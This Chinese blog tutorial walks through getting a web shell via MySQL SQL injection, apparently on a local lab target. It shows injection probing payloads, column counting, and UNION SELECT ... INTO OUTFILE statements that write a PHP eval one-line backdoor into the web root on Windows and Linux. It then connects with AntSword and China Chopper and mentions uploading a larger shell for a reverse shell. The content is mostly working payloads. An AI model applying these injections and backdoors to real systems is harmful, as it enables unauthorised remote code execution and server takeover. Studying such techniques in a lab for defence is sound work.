文件上传拿web shell

Cheng-yicheng / 2023-08-23 / 原文

MySQL文件上传要点

  1. show variables like '%secure%'; 用来查看mysql是否有读写文件权限;

    主要看secure_file_priv,value值为空意味着当前mysql程序可以对我所有硬盘的路径进行读写,如果后面是指定的路径C盘或者D盘下某一文件夹的话,只能在这一文件夹下去写;如果里面是NULL说明我不能在当前目标服务器上进行读写(使用mysql)
  2. 数据库的file权限规定了数据库用户是否有权限,向操作系统内写入和读取已存在的权限;
  3. into outfile 命令使用的环境:必须知道一个,服务器上可以写入文件的文件夹的完整路径。

 

 

  • 若要把secure_file_priv的value值改为空:找到mysql文件下的my.ini文件,在[mysqld]下写入secure_file_priv=''(注意单引号内没有空格!!!),然后进入小皮面板重启MySQL服务

     

    在phpmyadmin中再次输入show variables like '%secure%' 查询,成功查看

     

Linux环境下实现此功能需要预配置

先用and 1=1 和1=2测试字符型/数字型

?id=1

再测试闭合符和注释符号

?id=1' -- -  ?id=1"-- -  ?id=1")-- -  这几个在and 1=1和1=2的情况下页面返回情况都相同

用and1=1和1=2测试闭合符是否正确

?id=1')) and 1=1-- -

测试列数

?id=1')) group by 3-- -

测试查询语句

文件上传指令

可直接写在网站,或者当网站有文件包含,数据库有写入一句话木马文件的权限

<?php @eval($_POST['password']);?>为一句话木马  password为预留密码

?id=-1')) union select 1,"<?php @eval($_POST['password']);?>",3 into outfile "D:\\phpstudy_pro\\WWW\\ben.php" -- -

D:\\phpstudy_pro\\WWW\\为文件路径

ben.php为新插入的文件名

成功上传后,使用蚁剑连接目标靶场

 

 

 

Linux下

~#cd /var/www/html/text/  打开文件夹

#ls  ls查看test文件夹内文件

?id=-1')) union select 1,2,"<?php @eval($_POST['a']);?>" into outfile "/var/www/html/text/a.php"-- -  页面会报错,但是已经执行

#ls  ls查看text文件夹里已经存在新文件a.php

#vim a.php

 

中国菜刀用法,打开中国菜刀,右键添加,输入地址https://127.0.0.1/a.php  密码password,单击添加

上传大马  反弹拿web shell